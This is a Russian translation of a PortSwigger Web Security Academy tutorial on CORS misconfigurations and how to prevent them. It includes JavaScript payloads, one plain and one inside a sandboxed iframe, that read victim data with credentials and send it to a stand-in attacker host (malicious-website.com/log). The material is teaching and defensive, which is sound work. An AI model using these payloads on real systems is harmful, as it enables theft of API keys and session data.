# Мисконфигурации CORS

В этом разделе мы объясним, что такое Cross-Origin Resource Sharing (CORS), опишем некоторые распространенные примеры атак на основе CORS, и обсудим, как защититься от этих атак. [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties).

## Что такое Cross-Origin Resource Sharing (CORS)?

Cross-Origin Resource Sharing (CORS) — это механизм браузера, который обеспечивает контролируемый доступ к ресурсам, расположенным вне данного домена. Он расширяет и добавляет гибкость политике единого источника (SOP). Однако он также создает потенциал для междоменных атак, если политика CORS на веб-сайте плохо сконфигурирована и реализована. CORS не является защитой от межсайтовых атак, таких как подделка межсайтовых запросов (CSRF).

![attack on cors](https://2753068357-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7KQ4F0M3A1jSCGxOdZRW%2Fuploads%2Fgit-blob-126e0bc14590da8aa65643ecea9363651cb2a0dc%2Fattack-on-cors.svg?alt=media)

{% hint style="success" %}
**Лабораторные работы**

Если вы уже знакомы с базовыми концепциями уязвимостей CORS и просто хотите попрактиковаться в их эксплуатации на реалистичных, преднамеренно уязвимых целях, вы можете получить доступ ко всем лабораторным работам по ссылке ниже.

* [Посмотреть все лабораторные работы по CORS](https://portswigger.net/web-security/all-labs#cross-origin-resource-sharing-cors)
  {% endhint %}

## Политика единого источника (Same-origin policy)

Политика единого источника — это строгая спецификация, ограничивающая возможность веб-сайта взаимодействовать с ресурсами вне исходного домена. Политика единого источника была определена много лет назад в ответ на потенциально вредоносные междоменные взаимодействия, такие как кража одним веб-сайтом закрытых данных с другого. Вообще говоря, она позволяет домену отправлять запросы к другим доменам, но не получать доступ к ответам.

{% hint style="info" %}
**Подробнее**

[Политика одного источника (SOP)](https://wr3dmast3r.gitbook.io/portswiggerfundamental/client-side/cors/politika-odnogo-istochnika-sop)
{% endhint %}

## Смягчение политики SOP

Политика единого источника является очень строгой, и, как следствие, были разработаны различные подходы к обходу этих ограничений. Многие веб-сайты взаимодействуют с поддоменами или сторонними сайтами таким образом, что требуется полный cross-origin доступ. Контролируемое ослабление политики единого источника возможно с использованием совместного использования ресурсов между источниками (CORS).

Протокол совместного использования ресурсов между источниками использует набор HTTP-заголовков, которые определяют доверенные веб-источники и связанные свойства, такие как разрешение аутентифицированного доступа. Они комбинируются в обмене заголовками между браузером и cross-origin веб-сайтом, к которому он пытается получить доступ.

{% hint style="info" %}
**Подробнее**

[CORS и заголовок ответа Access-Control-Allow-Origin](https://wr3dmast3r.gitbook.io/portswiggerfundamental/client-side/cors/cors-i-zagolovok-otveta-access-control-allow-origin)
{% endhint %}

## Уязвимости, возникающие из-за проблем конфигурации CORS

### Серверный заголовок ACAO, сформированный из указанного клиентом заголовка Origin

Некоторым приложениям необходимо предоставлять доступ ряду других доменов. Поддержание списка разрешенных доменов требует постоянных улучшений, и любые ошибки чреваты нарушением работоспособности. Поэтому некоторые приложения выбирают простой путь, фактически разрешая доступ с любого другого домена.

Один из способов сделать это — считывать заголовок Origin из запросов и включать в ответ заголовок, который указывает, что запрашивающий источник разрешен. Например, рассмотрим приложение, которое получает следующий запрос:

```
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
```

Затем оно отвечает:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
```

Эти заголовки указывают, что доступ разрешен с запрашивающего домена (`malicious-website.com`) и что cross-origin запросы могут включать cookie (`Access-Control-Allow-Credentials: true`) и, таким образом, будут обработаны в рамках сессии.

Поскольку приложение отражает произвольные источники в заголовке `Access-Control-Allow-Origin`, это означает, что абсолютно любой домен может получать доступ к ресурсам уязвимого домена. Если ответ содержит какую-либо чувствительную информацию, такую как ключ API или CSRF-токен, вы могли бы извлечь ее, поместив следующий скрипт на свой веб-сайт:

```js
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
	location='//malicious-website.com/log?key='+this.responseText;
};
```

{% hint style="success" %}
**LAB**

[**CORS vulnerability with basic origin reflection**](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
{% endhint %}

### Ошибки при разборе заголовков Origin

Некоторые приложения, поддерживающие доступ из нескольких источников, делают это с использованием белого списка разрешенных источников. Когда поступает CORS-запрос, переданный источник сравнивается с белым списком. Если источник присутствует в белом списке, он отражается в заголовке `Access-Control-Allow-Origin`, чтобы доступ был предоставлен. Например, приложение получает обычный запрос вроде:

```
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
```

Приложение проверяет переданный источник по своему списку разрешенных источников и, если он есть в списке, отражает источник следующим образом:

```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
```

Ошибки часто возникают при реализации белых списков источников CORS. Некоторые организации решают разрешить доступ со всех своих поддоменов (включая будущие поддомены, которые еще не существуют). А некоторые приложения разрешают доступ с доменов различных других организаций, включая их поддомены. Эти правила часто реализуются путем сопоставления префиксов или суффиксов URL или с использованием регулярных выражений. Любые ошибки в реализации могут привести к предоставлению доступа непреднамеренным внешним доменам.

Например, предположим, что приложение предоставляет доступ всем доменам, оканчивающимся на:

```
normal-website.com
```

Атакующий может получить доступ, зарегистрировав домен:

```
hackersnormal-website.com
```

Либо предположим, что приложение предоставляет доступ всем доменам, начинающимся с

```
normal-website.com
```

Атакующий может получить доступ, используя домен:

```
normal-website.com.evil-user.net
```

### Значение null для Origin в белом списке

Спецификация заголовка Origin поддерживает значение `null`. Браузеры могут отправлять значение `null` в заголовке Origin в различных нетипичных ситуациях:

* Cross-origin перенаправления.
* Запросы из сериализованных данных.
* Запрос с использованием протокола `file:`
* Sandbox Cross-origin запросы.

Некоторые приложения могут добавлять origin `null` в белый список для поддержки локальной разработки приложения. Например, предположим, что приложение получает следующий cross-origin запрос:

```
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
```

И сервер отвечает:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

В этой ситуации атакующий может использовать различные приемы для генерации cross-origin запроса, содержащего значение `null` в заголовке Origin. Это удовлетворит белый список, приводя к междоменному доступу. Например, это можно сделать с помощью Sandbox cross-origin запроса в `iframe` следующего вида:

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
```

{% hint style="success" %}
**LAB**

[**CORS vulnerability with trusted null origin**](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
{% endhint %}

### Эксплуатация XSS через доверительные отношения CORS

Даже «правильно» настроенный CORS устанавливает доверительные отношения между двумя источниками. Если веб-сайт доверяет источнику, уязвимому к Cross-Site Scripting (XSS), то атакующий может эксплуатировать XSS для внедрения JavaScript, который использует CORS для извлечения конфиденциальной информации с сайта, доверяющего уязвимому приложению.

С учетом следующего запроса:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
```

Если сервер отвечает:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
```

Тогда атакующий, который найдет уязвимость XSS на `subdomain.vulnerable-website.com`, сможет использовать это для извлечения ключа API, используя такой URL:

```
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
```

### Нарушение TLS при плохо настроенном CORS

Предположим, приложение, строго использующее HTTPS, также включает в белый список доверенный поддомен, который использует простой HTTP. Например, когда приложение получает следующий запрос:

```
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
```

Приложение отвечает:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
```

В этой ситуации атакующий, способный перехватывать трафик жертвы-пользователя, может использовать конфигурацию CORS, чтобы скомпрометировать взаимодействие жертвы с приложением. Эта атака включает следующие шаги:

* Жертва-пользователь делает любой простой HTTP-запрос.
* Злоумышленник внедряет перенаправление на:`http://trusted-subdomain.vulnerable-website.com`
* Браузер жертвы следует перенаправлению.
* Злоумышленник перехватывает простой HTTP-запрос и возвращает поддельный ответ, содержащий CORS-запрос к:`https://vulnerable-website.com`
* Браузер жертвы делает CORS-запрос, включая origin:`http://trusted-subdomain.vulnerable-website.com`
* Приложение разрешает запрос, потому что это источник из белого списка. Запрошенные чувствительные данные возвращаются в ответе.
* Поддельная страница злоумышленника может прочитать чувствительные данные и передать их на любой домен под контролем злоумышленника.

Эта атака эффективна, даже если уязвимый веб-сайт в остальном надежно использует HTTPS, без HTTP-эндпойнта и со всеми cookie, помеченными как secure.

{% hint style="success" %}
**LAB**

[**CORS vulnerability with trusted insecure protocols**](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
{% endhint %}

{% hint style="info" %}
**Подробнее**

[Cross-Site Scripting (XSS)](https://wr3dmast3r.gitbook.io/portswiggerfundamental/client-side/xss)
{% endhint %}

### Интранеты и CORS без учетных данных

Большинство атак CORS полагаются на наличие заголовка ответа:

```
Access-Control-Allow-Credentials: true
```

Без этого заголовка браузер жертвы-пользователя откажется отправлять его cookie, что означает, что атакующий получит доступ только к неаутентифицированному контенту, к которому он мог бы так же легко получить доступ, просто перейдя непосредственно на целевой веб-сайт.

Однако есть одна распространенная ситуация, когда атакующий не может получить доступ к веб-сайту напрямую: когда он является частью интранета организации и расположен в частном адресном пространстве IP. Внутренние веб-сайты часто имеют более низкие стандарты безопасности, чем внешние сайты, что позволяет атакующий находить уязвимости и получать дальнейший доступ. Например, cross-origin запрос внутри частной сети может выглядеть так:

```
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
```

И сервер отвечает:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
```

Сервер приложения доверяет запросам ресурсов с любого источника без учетных данных. Если пользователи внутри частного IP-адресного пространства выходят в публичный интернет, тогда может быть выполнена атака на основе CORS с внешнего сайта, который использует браузер жертвы как прокси для доступа к ресурсам интранета.

## Как предотвратить атаки на основе CORS

Уязвимости CORS возникают в первую очередь как ошибки конфигурации. Поэтому предотвращение — это задача конфигурирования.

### Правильная конфигурация cross-origin запросов

Если веб-ресурс содержит чувствительную информацию, источник должен быть правильно указан в заголовке `Access-Control-Allow-Origin`.

### Разрешайте только доверенные сайты

Это может показаться очевидным, но источники, указанные в заголовке `Access-Control-Allow-Origin`, должны быть только доверенными сайтами. В частности, динамическое отражение источников из cross-origin запросов без валидации легко эксплуатируется и должно быть исключено.

### Не помещайте null в белый список

Избегайте использования заголовка `Access-Control-Allow-Origin: null`. Cross-origin вызовы ресурсов из внутренних документов и сандбоксированных запросов могут указывать origin null. Заголовки CORS должны быть корректно определены в отношении доверенных источников для приватных и публичных серверов.

### Не используйте подстановочные знаки во внутренних сетях

Избегайте использования подстановочных знаков во внутренних сетях. Доверять одной лишь сетевой конфигурации для защиты внутренних ресурсов недостаточно, когда внутренние браузеры могут получать доступ к недоверенным внешним доменам.

### CORS не является заменой серверных политик безопасности

CORS определяет поведение браузера и никогда не является заменой серверной защите чувствительных данных — атакующий может напрямую подделать запрос с любого доверенного источника. Поэтому веб-серверам следует продолжать применять защиты чувствительных данных, такие как аутентификация и управление сессиями, в дополнение к корректно настроенному CORS.

{% hint style="info" %}
**Подробнее**

* [Find CORS vulnerabilities using Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)
* [URL validation bypass cheat sheet](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)
  {% endhint %}
